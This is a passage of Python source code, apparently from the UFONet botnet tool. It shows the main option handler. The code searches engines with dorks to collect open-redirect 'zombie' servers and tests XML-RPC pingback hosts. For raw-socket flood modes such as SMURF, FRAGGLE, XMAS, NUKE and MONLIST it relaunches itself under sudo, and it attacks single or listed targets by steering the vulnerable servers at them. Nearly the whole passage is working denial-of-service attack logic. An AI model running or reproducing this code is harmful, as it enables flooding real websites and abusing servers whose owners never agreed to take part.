  357. if not tor_reply or 'Congratulations' not in tor_reply:
  358. print("It seems that Tor is not properly set.\n")
  359. print(("IP address appears to be: " + your_ip + "\n"))
  360. else:
  361. print("Congratulations!. Tor is properly being used :-)\n")
  362. print(("IP address appears to be: " + your_ip + "\n"))
  363. except:
  364. print("Cannot reach TOR checker system!. Are you correctly connected?\n")
  365. sys.exit(2) # return
  366. # run AES256+HMAC-SHA1 enc/dec tool
  367. if options.cryptomsg:
  368. from core.tools.crypter import Cipher
  369. print(" " + '='*44)
  370. print(" ")
  371. print(" ____...------------...____ ")
  372. print(" _.-'' /o/__ ____ __ __ __ \o\_`'-._ ")
  373. print(" .' / / \ \ '. ")
  374. print(" |=====/o/======================\o\=====| ")
  375. print(" |____/_/________..____..________\_\____| ")
  376. print(" / _/ \_ <_o#\__/#o_> _/ \_ \ ")
  377. print(" \__/_____\####/0213411543/####/_____\__/ ")
  378. print(" |===\!/========================\!/===| ")
  379. print(" | |=| .---. |=| | ")
  380. print(" |===|o|=========/ \========|o|===| ")
  381. print(" | | | \() ()/ | | | ")
  382. print(" |===|o|======{'-.) A (.-'}=====|o|===| ")
  383. print(" | __/ \__ '-.\\uuu/.-' __/ \__ | ")
  384. print(" |==== .'.'^'.'.====|====.'.'^'.'.====| ")
  385. print(" | _\o/ __ {.' __ '.} _ _\o/ _| ")
  386. print(" '''''''''''''''''''''''''''''''''''''' ")
  387. print("\n + UFONet Crypter (AES256+HMAC-SHA1)")
  388. print(" (140 plain text chars = 69 encrypted chars)\n")
  389. print(" " + '='*44 + "\n")
  390. text = str(input("-> Enter TEXT: "))
  391. input_key = str(input("\n-> Enter KEY: "))
  392. key = base64.b64encode(input_key.encode('utf-8')).decode('utf-8')
  393. c = Cipher(key, text)
  394. msg = c.encrypt()
  395. msg = msg.decode('utf-8')
  396. c.set_text(msg)
  397. print("\n" + " " + '-'*44)
  398. print('\n-> Ciphertext: [', msg, ']')
  399. print('\n-> Length:', len(msg))
  400. print("\n" + " " + '-'*44)
  401. print('\n-> Key (share it using SNEAKNET!):', input_key)
  402. print('\n-> Decryption PoC:', c.decrypt().decode('utf-8'), "\n")
  403. # run shownet tool
  404. if options.shownet:
  405. hex_mac = self.show_mac_address()
  406. self.banner()
  407. print("-> Network Info:")
  408. print('='*44)
  409. print("-"*35)
  410. print("|- MAC Address :", hex_mac)
  411. print("|" +"-"*34)
  412. private_ip, public_ip = self.show_ips()
  413. print("|- IP Private :", private_ip)
  414. print("|" +"-"*34)
  415. t = urlparse(self.check_ip_service3)
  416. name_service = t.netloc
  417. print("|- IP Public :", public_ip +" | ["+name_service+"]")
  418. print("-"*35)
  419. print('='*75, "\n")
  420. # run UFOSCAN tool (check EUID when running UFOSCAN)
  421. if options.xray:
  422. euid = self.checkeuid()
  423. if euid != 0:
  424. print("[Info] [AI] [Control] [UFOSCAN] (--xray) not started as root...\n")
  425. try:
  426. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  427. os.execlpe('sudo', *args)
  428. except:
  429. pass # keep running
  430. else:
  431. if not options.xrayps:
  432. options.xrayps = str("1-1024") # default scanning ports (1-1024)
  433. ports = options.xrayps
  434. try:
  435. portX, portY = ports.split('-')
  436. try:
  437. portX = int(portX)
  438. portY = int(portY)
  439. except:
  440. portX = 1
  441. portY = 1024
  442. print("[Error] [AI] [UFOSCAN] Something wrong with range of ports selected. Using by default: 1-1024...\n")
  443. except:
  444. portX = 1
  445. portY = 1024
  446. print("[Info] [AI] [UFOSCAN] Not any range of ports selected. Using by default: 1-1024...\n")
  447. self.banner()
  448. print("\n[AI] Analizing target to extract interesting information... Be patient!\n")
  449. print('='*22 + '\n')
  450. try:
  451. self.instance = UFOSCAN() # instance main class for scanning operations
  452. xray = self.instance.scanning(options.xray, portX, portY)
  453. except Exception as e:
  454. print ("[Error] [AI] Something wrong scanning... Not any data stream found! -> [Exiting!]\n")
  455. if DEBUG == True:
  456. traceback.print_exc()
  457. return
  458. # show code timeline
  459. if options.timeline:
  460. f = open(self.timeline_file, 'r')
  461. releases = f.readlines()
  462. f.close()
  463. self.banner()
  464. print("-> Code timeline:")
  465. print('='*44)
  466. print("-"*35)
  467. for r in releases:
  468. print(r.strip('\n'))
  469. print("-"*35)
  470. print('='*75, "\n")
  471. # print some examples
  472. if options.examples:
  473. f = open(self.examples_file, 'r')
  474. examples = f.readlines()
  475. f.close()
  476. self.banner()
  477. for e in examples:
  478. print(e.strip('\n'))
  479. # check EUID when running UFOSYN (root required for open 'raw sockets') / GUI will invoke 'sudo' directly
  480. if options.ufosyn:
  481. euid = self.checkeuid()
  482. if euid != 0:
  483. print("[Info] [AI] [Control] [UFOSYN] (--ufosyn) not started as root...\n")
  484. try:
  485. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  486. os.execlpe('sudo', *args)
  487. except:
  488. pass # keep running, but UFOSYN will fail
  489. # check EUID when running SPRAY (root required)
  490. if options.spray:
  491. euid = self.checkeuid()
  492. if euid != 0:
  493. print("[Info] [AI] [Control] [SPRAY] (--spray) not started as root...\n")
  494. try:
  495. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  496. os.execlpe('sudo', *args)
  497. except:
  498. pass # keep running, but SPRAY will fail
  499. # check EUID when running SMURF (root required)
  500. if options.smurf:
  501. euid = self.checkeuid()
  502. if euid != 0:
  503. print("[Info] [AI] [Control] [SMURF] (--smurf) not started as root...\n")
  504. try:
  505. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  506. os.execlpe('sudo', *args)
  507. except:
  508. pass # keep running, but SMURF will fail
  509. # check EUID when running FRAGGLE (root required)
  510. if options.fraggle:
  511. euid = self.checkeuid()
  512. if euid != 0:
  513. print("[Info] [AI] [Control] [FRAGGLE] (--fraggle) not started as root...\n")
  514. try:
  515. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  516. os.execlpe('sudo', *args)
  517. except:
  518. pass # keep running, but FRAGGLE will fail
  519. # check EUID when running XMAS (root required)
  520. if options.xmas:
  521. euid = self.checkeuid()
  522. if euid != 0:
  523. print("[Info] [AI] [Control] [XMAS] (--xmas) not started as root...\n")
  524. try:
  525. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  526. os.execlpe('sudo', *args)
  527. except:
  528. pass # keep running, but XMAS will fail
  529. # check EUID when running UFOACK (root required)
  530. if options.ufoack:
  531. euid = self.checkeuid()
  532. if euid != 0:
  533. print("[Info] [AI] [Control] [UFOACK] (--ufoack) not started as root...\n")
  534. try:
  535. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  536. os.execlpe('sudo', *args)
  537. except:
  538. pass # keep running, but UFOACK will fail
  539. # check EUID when running UFORST (root required)
  540. if options.uforst:
  541. euid = self.checkeuid()
  542. if euid != 0:
  543. print("[Info] [AI] [Control] [UFORST] (--uforst) not started as root...\n")
  544. try:
  545. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  546. os.execlpe('sudo', *args)
  547. except:
  548. pass # keep running, but UFORST will fail
  549. # check EUID when running DROPER (root required)
  550. if options.droper:
  551. euid = self.checkeuid()
  552. if euid != 0:
  553. print("[Info] [AI] [Control] [DROPER] (--droper) not started as root...\n")
  554. try:
  555. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  556. os.execlpe('sudo', *args)
  557. except:
  558. pass # keep running, but DROPER will fail
  559. # check EUID when running OVERLAP (root required)
  560. if options.overlap:
  561. euid = self.checkeuid()
  562. if euid != 0:
  563. print("[Info] [AI] [Control] [OVERLAP] (--overlap) not started as root...\n")
  564. try:
  565. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  566. os.execlpe('sudo', *args)
  567. except:
  568. pass # keep running, but OVERLAP will fail
  569. # check EUID when running PINGER (root required)
  570. if options.pinger:
  571. euid = self.checkeuid()
  572. if euid != 0:
  573. print("[Info] [AI] [Control] [PINGER] (--pinger) not started as root...\n")
  574. try:
  575. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  576. os.execlpe('sudo', *args)
  577. except:
  578. pass # keep running, but PINGER will fail
  579. # check EUID when running UFOUDP (root required)
  580. if options.ufoudp:
  581. euid = self.checkeuid()
  582. if euid != 0:
  583. print("[Info] [AI] [Control] [UFOUDP] (--ufoudp) not started as root...\n")
  584. try:
  585. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  586. os.execlpe('sudo', *args)
  587. except:
  588. pass # keep running, but UFOUDP will fail
  589. # check EUID when running NUKE (root required)
  590. if options.nuke:
  591. euid = self.checkeuid()
  592. if euid != 0:
  593. print("[Info] [AI] [Control] [NUKE] (--nuke) not started as root...\n")
  594. try:
  595. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  596. os.execlpe('sudo', *args)
  597. except:
  598. pass # keep running, but NUKE will fail
  599. # check EUID when running TACHYON (root required)
  600. if options.tachyon:
  601. euid = self.checkeuid()
  602. if euid != 0:
  603. print("[Info] [AI] [Control] [TACHYON] (--tachyon) not started as root...\n")
  604. try:
  605. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  606. os.execlpe('sudo', *args)
  607. except:
  608. pass # keep running, but TACHYON will fail
  609. # check EUID when running MONLIST (root required)
  610. if options.monlist:
  611. euid = self.checkeuid()
  612. if euid != 0:
  613. print("[Info] [AI] [Control] [MONLIST] (--monlist) not started as root...\n")
  614. try:
  615. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  616. os.execlpe('sudo', *args)
  617. except:
  618. pass # keep running, but MONLIST will fail
  619. # check EUID when running SNIPER (root required)
  620. if options.sniper:
  621. euid = self.checkeuid()
  622. if euid != 0:
  623. print("[Info] [AI] [Control] [SNIPER] (--sniper) not started as root...\n")
  624. try:
  625. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  626. os.execlpe('sudo', *args)
  627. except:
  628. pass # keep running, but SNIPER will fail
  629. # search for [Zombies] on search engines results (dorking)
  630. if options.search:
  631. zombies = []
  632. if options.engine:
  633. engine = options.engine
  634. else:
  635. engine = "duck" # default search engine
  636. try:
  637. self.banner()
  638. if not os.path.exists(self.humans_file) == True:
  639. f = open(self.humans_file, 'w')
  640. f.close()
  641. lf = open(self.humans_file, 'r')
  642. restored = lf.readlines()
  643. zombies_restored = len(restored)
  644. lf.close()
  645. lz = open(self.zombies_file, 'r')
  646. zombies_army = lz.readlines()
  647. for zombie in zombies_army:
  648. zombies.append(zombie) # add zombies from army to the zombies pool
  649. lz.close()
  650. if len(restored) > 0:
  651. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  652. if not self.options.forceyes:
  653. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  654. print('-'*25)
  655. else:
  656. backup_reply = "Y"
  657. if backup_reply == "n" or backup_reply == "N":
  658. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  659. os.remove(self.humans_file)
  660. zombies_restored = 0 # flush zombies restored
  661. print('-'*25 + "\n")
  662. else:
  663. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  664. print('-'*25 + "\n")
  665. for zombie in restored:
  666. zombies.append(zombie) # add previous data to zombies pool
  667. if options.allengines:
  668. if options.ex_engine: # exclude some search engines manually
  669. exclude = options.ex_engine.split(",")
  670. for ex in exclude:
  671. ex = ex.lower()
  672. if ex in self.search_engines:
  673. if len(self.search_engines) == 1: # at least one should make it
  674. pass
  675. else:
  676. self.search_engines.remove(ex)
  677. for e in self.search_engines:
  678. engine = e
  679. print('='*44)
  680. print(("\n[AI] Searching for zombies using: "+engine+'\n'))
  681. print('='*44 + '\n')
  682. self.options.engine = engine
  683. try:
  684. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  685. if zombies_chain != None:
  686. for zombie in zombies_chain:
  687. if zombie not in zombies: # evade possible repetitions
  688. zombies.append(zombie)
  689. except:
  690. if zombies: # backup all new zombies found to file in case of exception
  691. for zombie in zombies:
  692. if zombie+os.linesep not in restored: # only append new zombies found
  693. with open(self.humans_file, "a") as f:
  694. f.write(str(zombie+os.linesep))
  695. else:
  696. if restored:
  697. print('='*44)
  698. print(("\n[AI] Searching for zombies using: "+engine+"\n"))
  699. print('='*44 + '\n')
  700. if restored: # from restored file
  701. try:
  702. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  703. if zombies_chain != None:
  704. for zombie in zombies_chain:
  705. if zombie not in zombies: # evade possible repetitions
  706. zombies.append(zombie)
  707. except:
  708. if zombies: # backup all new zombies found to file in case of exception
  709. for zombie in zombies:
  710. if zombie+os.linesep not in restored: # only append new zombies found
  711. with open(self.humans_file, "a") as f:
  712. f.write(str(zombie+os.linesep))
  713. else:
  714. try:
  715. zombies = self.search_zombies(dork='', zombies_found=zombies)
  716. except:
  717. if zombies: # backup all new zombies found to file in case of exception
  718. for zombie in zombies:
  719. if zombie+os.linesep not in restored: # only append new zombies found
  720. with open(self.humans_file, "a") as f:
  721. f.write(str(zombie+os.linesep))
  722. total_restored = zombies_restored
  723. new_zombies = 0 # new zombies counter
  724. f = open(self.zombies_file, 'r')
  725. zz = f.readlines()
  726. f.close()
  727. zombies_found = []
  728. for z in zombies:
  729. if z.endswith(os.linesep):
  730. z = z.replace(os.linesep, "")
  731. if z not in zz and z+os.linesep not in zz:
  732. new_zombies = new_zombies + 1
  733. zombies_found.append(z)
  734. print('='*62)
  735. print("\n- Victims found:", len(zombies_found), "\n")
  736. print(" - Restored:", total_restored)
  737. print(" - Dorked:", abs(len(zombies_found) - total_restored), "\n")
  738. print('-'*32)
  739. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  740. print('='*62 + '\n')
  741. if len(zombies) > 0:
  742. if not self.options.forceyes:
  743. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  744. print('-'*25)
  745. else:
  746. check_backup_reply = "Y"
  747. if check_backup_reply == "n" or check_backup_reply == "N":
  748. if os.path.isfile(self.humans_file):
  749. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  750. print("\n[Info] [AI] Temporal data correctly removed...\n")
  751. else:
  752. with open(self.humans_file, "w") as f:
  753. for z in zombies_found:
  754. if z.endswith(os.linesep):
  755. z = z.replace(os.linesep, "")
  756. if z not in zz or z+os.linesep not in zz:
  757. f.write(z+os.linesep)
  758. f.close()
  759. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  760. print('-'*25 + "\n")
  761. if new_zombies and new_zombies > 0:
  762. if not self.options.forceyes:
  763. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  764. print('-'*25 + "\n")
  765. else:
  766. check_url_link_reply = "Y"
  767. if check_url_link_reply == "n" or check_url_link_reply == "N":
  768. print("[AI] "+self.exit_msg+"\n")
  769. pass
  770. else:
  771. print("\n" + '='*44)
  772. test = self.testing(zombies_found)
  773. else:
  774. print("[Info] [AI] NOT any NEW possible zombies found -> [Exiting!]\n")
  775. except Exception:
  776. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  777. # search for [Zombies] from a list of [Dorks]
  778. if options.dorks:
  779. if options.engine:
  780. engine = options.engine
  781. else:
  782. engine = "duck" # default search engine
  783. try:
  784. dorks = self.extract_dorks()
  785. if not dorks:
  786. return
  787. zombies = []
  788. self.banner()
  789. if not os.path.exists(self.humans_file) == True:
  790. f = open(self.humans_file, 'w')
  791. f.close()
  792. lf = open(self.humans_file, 'r')
  793. restored = lf.readlines()
  794. zombies_restored = len(restored)
  795. lf.close()
  796. lz = open(self.zombies_file, 'r')
  797. zombies_army = lz.readlines()
  798. for zombie in zombies_army:
  799. zombies.append(zombie) # add zombies from army to the zombies pool
  800. lz.close()
  801. if len(restored) > 0:
  802. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  803. if not self.options.forceyes:
  804. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  805. print('-'*25)
  806. else:
  807. backup_reply = "Y"
  808. if backup_reply == "n" or backup_reply == "N":
  809. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  810. os.remove(self.humans_file)
  811. zombies_restored = 0 # flush zombies restored
  812. print('-'*25 + "\n")
  813. else:
  814. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  815. print('-'*25 + "\n")
  816. for zombie in restored:
  817. zombies.append(zombie) # add previous data to zombies pool
  818. total_restored = zombies_restored
  819. if options.allengines:
  820. if options.ex_engine: # exclude some search engines manually
  821. exclude = options.ex_engine.split(",")
  822. for ex in exclude:
  823. ex = ex.lower()
  824. if ex in self.search_engines:
  825. if len(self.search_engines) == 1: # at least one should make it
  826. pass
  827. else:
  828. self.search_engines.remove(ex)
  829. for e in self.search_engines:
  830. engine = e
  831. print('='*44)
  832. print(("\n[AI] Searching for zombies using: ["+engine+ "] from a list of [Dorks]\n"))
  833. print('='*44 + '\n')
  834. self.options.engine = engine
  835. for dork in dorks:
  836. print('='*22)
  837. print("Dork:", dork)
  838. print('='*22 + '\n')
  839. try:
  840. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  841. for zombie in dorked_zombies:
  842. if zombie not in zombies: # evade repetitions for zombies found
  843. zombies.append(zombie)
  844. if zombie+os.linesep not in restored: # only append new zombies found
  845. with open(self.humans_file, "a") as f:
  846. f.write(str(zombie+os.linesep))
  847. f.close()
  848. except:
  849. if zombies: # backup new zombies found on exception
  850. for zombie in zombies:
  851. if zombie+os.linesep not in restored: # only append new zombies found
  852. with open(self.humans_file, "a") as f:
  853. f.write(str(zombie+os.linesep))
  854. f.close()
  855. else:
  856. if restored:
  857. print('='*44)
  858. print(("\n[AI] Searching for zombies using: ["+ engine+ "] from a list of [Dorks]\n"))
  859. print('='*44 + '\n')
  860. for dork in dorks:
  861. print('='*22)
  862. print("Dork:", dork)
  863. print('='*22 + '\n')
  864. try:
  865. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  866. if dorked_zombies != None:
  867. for zombie in dorked_zombies:
  868. if zombie not in zombies: # evade repetitions for zombies found
  869. zombies.append(zombie)
  870. except:
  871. if zombies: # backup new zombies found on exception
  872. for zombie in zombies:
  873. if zombie+os.linesep not in restored: # only append new zombies found
  874. with open(self.humans_file, "a") as f:
  875. f.write(str(zombie+os.linesep))
  876. f.close()
  877. new_zombies = 0 # new zombies counter
  878. f = open(self.zombies_file, 'r')
  879. zz = f.readlines()
  880. f.close()
  881. zombies_found = []
  882. for z in zombies:
  883. if z.endswith(os.linesep):
  884. z = z.replace(os.linesep, "")
  885. if z not in zz and z+os.linesep not in zz:
  886. new_zombies = new_zombies + 1
  887. zombies_found.append(z)
  888. print('='*62)
  889. print("\n- Victims found:", len(zombies_found), "\n")
  890. print(" - Restored:", total_restored)
  891. print(" - Dorked:", len(zombies_found) - total_restored, "\n")
  892. print('-'*32)
  893. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  894. print('='*62 + '\n')
  895. if len(zombies_found) > 0:
  896. if not self.options.forceyes:
  897. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  898. print('-'*25)
  899. else:
  900. check_backup_reply = "Y"
  901. if check_backup_reply == "n" or check_backup_reply == "N":
  902. if os.path.isfile(self.humans_file):
  903. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  904. print("\n[Info] [AI] Temporal data correctly removed...\n")
  905. else:
  906. with open(self.humans_file, "w") as f:
  907. for z in zombies_found:
  908. if z.endswith(os.linesep):
  909. z = z.replace(os.linesep, "")
  910. if z not in zz or z+os.linesep not in zz:
  911. f.write(z+os.linesep)
  912. f.close()
  913. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  914. print('-'*25 + "\n")
  915. if new_zombies and new_zombies > 0:
  916. if not self.options.forceyes:
  917. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  918. print('-'*25 + "\n")
  919. else:
  920. check_url_link_reply = "Y"
  921. if check_url_link_reply == "n" or check_url_link_reply == "N":
  922. print("[AI] "+self.exit_msg+"\n")
  923. pass
  924. else:
  925. print("\n" + '='*44)
  926. test = self.testing(zombies_found)
  927. else:
  928. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  929. except Exception:
  930. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  931. # auto-search for [Zombies] (dorks+all_engines+time -> to discover max new zombies)
  932. if options.autosearch:
  933. try:
  934. dorks = self.extract_dorks()
  935. except:
  936. print("\n[Info] [AI] Not any dork present at: 'botnet/dorks.txt' -> [Aborting!]\n")
  937. return
  938. engines_list = self.search_engines
  939. stop_flag = False # use a flag to establish an end
  940. try:
  941. self.banner()
  942. print("\n[AI] Searching automatically for [Zombies] (WARNING: this may take several time!)\n")
  943. print("[Info] Try to use CTRL+z (on shell) to STOP IT! ;-)\n")
  944. print('-'*25 + "\n")
  945. zombies_found = []
  946. lz = open(self.zombies_file, 'r')
  947. zombies_army = lz.readlines()
  948. for zombie in zombies_army:
  949. zombies_found.append(zombie) # add zombies from army to the zombies found pool
  950. lz.close()
  951. if not os.path.exists(self.humans_file) == True:
  952. f = open(self.humans_file, 'w')
  953. f.close()
  954. lf = open(self.humans_file, 'r')
  955. restored = lf.readlines()
  956. zombies_restored = len(restored)
  957. lf.close()
  958. if len(restored) > 0:
  959. print("[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  960. if not self.options.forceyes:
  961. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  962. print('-'*25)
  963. else:
  964. backup_reply = "Y"
  965. if backup_reply == "n" or backup_reply == "N":
  966. print("\n[Info] [AI] Removing data stored and starting a new (auto)search...\n")
  967. os.remove(self.humans_file)
  968. zombies_restored = 0 # flush zombies restored
  969. print('-'*25 + "\n")
  970. else:
  971. print("\n[Info] [AI] Restoring data and starting a new (auto)search...\n")
  972. print('-'*25 + "\n")
  973. for zombie in restored:
  974. zombies_found.append(zombie) # add previous data to zombies found pool
  975. total_restored = zombies_restored
  976. while stop_flag == False:
  977. if not os.path.exists(self.humans_file) == True:
  978. f = open(self.humans_file, 'w')
  979. f.close()
  980. lf = open(self.humans_file, 'r') # read it on each iteration to update changes
  981. restored = lf.readlines()
  982. lf.close()
  983. zombies_restored = len(restored)
  984. for e in engines_list:
  985. zombies_counter = 0 # use it also as (engine) flag
  986. engine = e
  987. self.options.engine = engine
  988. print('='*44 + '\n')
  989. print(("[AI] Searching for zombies using: "+engine+'\n'))
  990. print('='*44 + '\n')
  991. for dork in dorks:
  992. print('='*22)
  993. print("Dork:", dork)
  994. print('='*22 + '\n')
  995. try:
  996. dorked_zombies = self.search_zombies(dork, zombies_found) # AI mode
  997. for zombie in dorked_zombies:
  998. if zombie not in zombies_found: # evade repetitions for zombies found
  999. zombies_found.append(zombie)
  1000. if zombie+os.linesep not in restored: # only append new zombies found
  1001. with open(self.humans_file, "a") as f:
  1002. f.write(str(zombie+os.linesep))
  1003. f.close()
  1004. zombies_counter = zombies_counter + 1
  1005. except:
  1006. if zombies_found: # backup new zombies found on exception
  1007. for zombie in zombies_found:
  1008. if zombie+os.linesep not in restored: # only append new zombies found
  1009. with open(self.humans_file, "a") as f:
  1010. f.write(str(zombie+os.linesep))
  1011. f.close()
  1012. if zombies_counter == 0:
  1013. print("[Info] [AI] NOT more NEW victims found (by the moment) using: "+engine+" -> [Discarding!]\n")
  1014. print('-'*25 + "\n")
  1015. engines_list.remove(engine) # remove not more results engine from search engines list
  1016. if not engines_list: # if search engines empty, call return-exit routine
  1017. print("[Info] [AI] Search engines aren't providing more results -> [Exiting!]\n")
  1018. print('-'*25 + "\n")
  1019. stop_flag = True # exit flag up
  1020. new_zombies = 0 # new zombies counter
  1021. f = open(self.zombies_file, 'r')
  1022. zz = f.readlines()
  1023. f.close()
  1024. all_zombies_found = []
  1025. for z in zombies_found:
  1026. if z.endswith(os.linesep):
  1027. z = z.replace(os.linesep, "")
  1028. if z not in zz and z+os.linesep not in zz:
  1029. new_zombies = new_zombies + 1
  1030. all_zombies_found.append(z)
  1031. print('='*62)
  1032. print("\n- Victims found:", len(all_zombies_found), "\n")
  1033. print(" - Restored:", total_restored)
  1034. print(" - Dorked:", len(all_zombies_found) - total_restored, "\n")
  1035. print('-'*32)
  1036. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  1037. print('='*62 + '\n')
  1038. if len(zombies_found) > 0:
  1039. if not self.options.forceyes:
  1040. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  1041. print('-'*25)
  1042. else:
  1043. check_backup_reply = "Y"
  1044. if check_backup_reply == "n" or check_backup_reply == "N":
  1045. if os.path.isfile(self.humans_file):
  1046. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  1047. print("\n[Info] [AI] Temporal data correctly removed...\n")
  1048. else:
  1049. with open(self.humans_file, "w") as f:
  1050. for z in all_zombies_found:
  1051. if z.endswith(os.linesep):
  1052. z = z.replace(os.linesep, "")
  1053. if z not in zz or z+os.linesep not in zz:
  1054. f.write(z+os.linesep)
  1055. f.close()
  1056. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  1057. print('-'*25 + "\n")
  1058. if new_zombies and new_zombies > 0:
  1059. if not self.options.forceyes:
  1060. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  1061. print('-'*25 + "\n")
  1062. else:
  1063. check_url_link_reply = "Y"
  1064. if check_url_link_reply == "n" or check_url_link_reply == "N":
  1065. print("[AI] "+self.exit_msg+"\n")
  1066. pass
  1067. else:
  1068. print("\n" + '='*44)
  1069. test = self.testing(all_zombies_found)
  1070. else:
  1071. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  1072. except Exception:
  1073. print ("[Error] [AI] Something wrong (auto)searching...\n")
  1074. # test web 'zombie' servers -> show statistics
  1075. if options.test:
  1076. try:
  1077. self.banner()
  1078. zombies = self.extract_zombies()
  1079. if not zombies:
  1080. return
  1081. test = self.testing(zombies)
  1082. self.update_missions_stats() # update mothership missions stats
  1083. except Exception:
  1084. print ("\n[Error] [AI] Something wrong testing!\n")
  1085. if DEBUG == True:
  1086. traceback.print_exc()
  1087. # test XML-'rpc' pingback vulnerable servers -> update list
  1088. if options.testrpc:
  1089. try:
  1090. self.banner()
  1091. rpcs = self.extract_rpcs()
  1092. if not rpcs:
  1093. return
  1094. testrpc = self.testing_rpcs(rpcs)
  1095. self.update_missions_stats() # update mothership missions stats
  1096. except Exception:
  1097. print ("\n[Error] [AI] Something wrong testing X-RPCs!\n")
  1098. if DEBUG == True:
  1099. traceback.print_exc()
  1100. # check botnet searching for zombies offline
  1101. if options.testoffline:
  1102. try:
  1103. self.banner()
  1104. testbotnet = self.testing_offline()
  1105. self.update_missions_stats() # update mothership missions stats
  1106. except Exception:
  1107. print ("\n[Error] [AI] Something wrong checking for offline [Zombies]!\n")
  1108. if DEBUG == True:
  1109. traceback.print_exc()
  1110. # check ALL botnet status
  1111. if options.testall:
  1112. try:
  1113. self.banner()
  1114. test_all_botnet = self.testing_all()
  1115. self.update_missions_stats() # update mothership missions stats
  1116. except Exception:
  1117. print ("\n[Error] [AI] Something wrong testing ALL botnet status!\n")
  1118. if DEBUG == True:
  1119. traceback.print_exc()
  1120. # attack target -> exploit Open Redirect massively and conduct vulnerable servers to a single target
  1121. if options.target:
  1122. try:
  1123. self.banner()
  1124. zombies = self.extract_zombies()
  1125. if not zombies:
  1126. return
  1127. options.target = self.parse_url_encoding(options.target) # parse for proper url encoding
  1128. attack = self.attacking(zombies, options.target)
  1129. self.update_missions_stats() # update mothership missions stats
  1130. except Exception:
  1131. print ("\n[Error] [AI] Something wrong attacking!\n")
  1132. if DEBUG == True:
  1133. traceback.print_exc()
  1134. # attack a list of targets -> exploit Open Redirect massively and conduct vulnerable servers to multiple targets
  1135. if options.target_list:
  1136. try:
  1137. self.banner()
  1138. zombies = self.extract_zombies()
  1139. if not zombies:
  1140. return
  1141. targets = self.extract_target_list()
  1142. if not targets:
  1143. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1144. return
  1145. self.options.forceyes = True # force-yes ON!
  1146. self.num_target_list = 0
  1147. print("\n[AI] Checking integrity of targets...\n")
  1148. for t in targets: # start of code block dedicated to: Guido van Rossum [23/12/2018]
  1149. if not t.startswith("http"): # discarded inmediately
  1150. print("[Info] [AI] [Control] " + str(t) + " -> [Discarding!]")
  1151. targets.remove(t) # ¿remove? invalid targets
  1152. print("")
  1153. c = 0
  1154. for target in targets:
  1155. if target == "":
  1156. c = c + 1
  1157. else:
  1158. self.num_target_list = self.num_target_list + 1
  1159. if c == len(targets):
  1160. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1161. return # end of code block dedicated to: Guido van Rossum [23/12/2018]
  1162. else:
  1163. for target in targets:
  1164. self.options.target = self.parse_url_encoding(target) # parse for proper url encoding
  1165. target = self.options.target
  1166. print('='*55 + "\n")
  1167. print("[Info] [AI] Aiming: " + str(target) + " -> [OK!]\n")
  1168. print("="*55)
  1169. attack = self.attacking(zombies, target)
  1170. self.update_missions_stats() # update mothership missions stats (each target counts)
  1171. except Exception:
  1172. print ("\n[Error] [AI] Something wrong attacking to multiple targets!\n")
  1173. if DEBUG == True:
  1174. traceback.print_exc()
  1175. # inspect target -> inspect target's components sizes
  1176. if options.inspect:
  1177. try:
  1178. self.banner()
  1179. print("\n[AI] Inspecting target for local resources... to find the best place to attack... SSssh!\n")
  1180. print('='*22 + '\n')
  1181. self.instance = Inspector(self) # instance main class for inspection operations
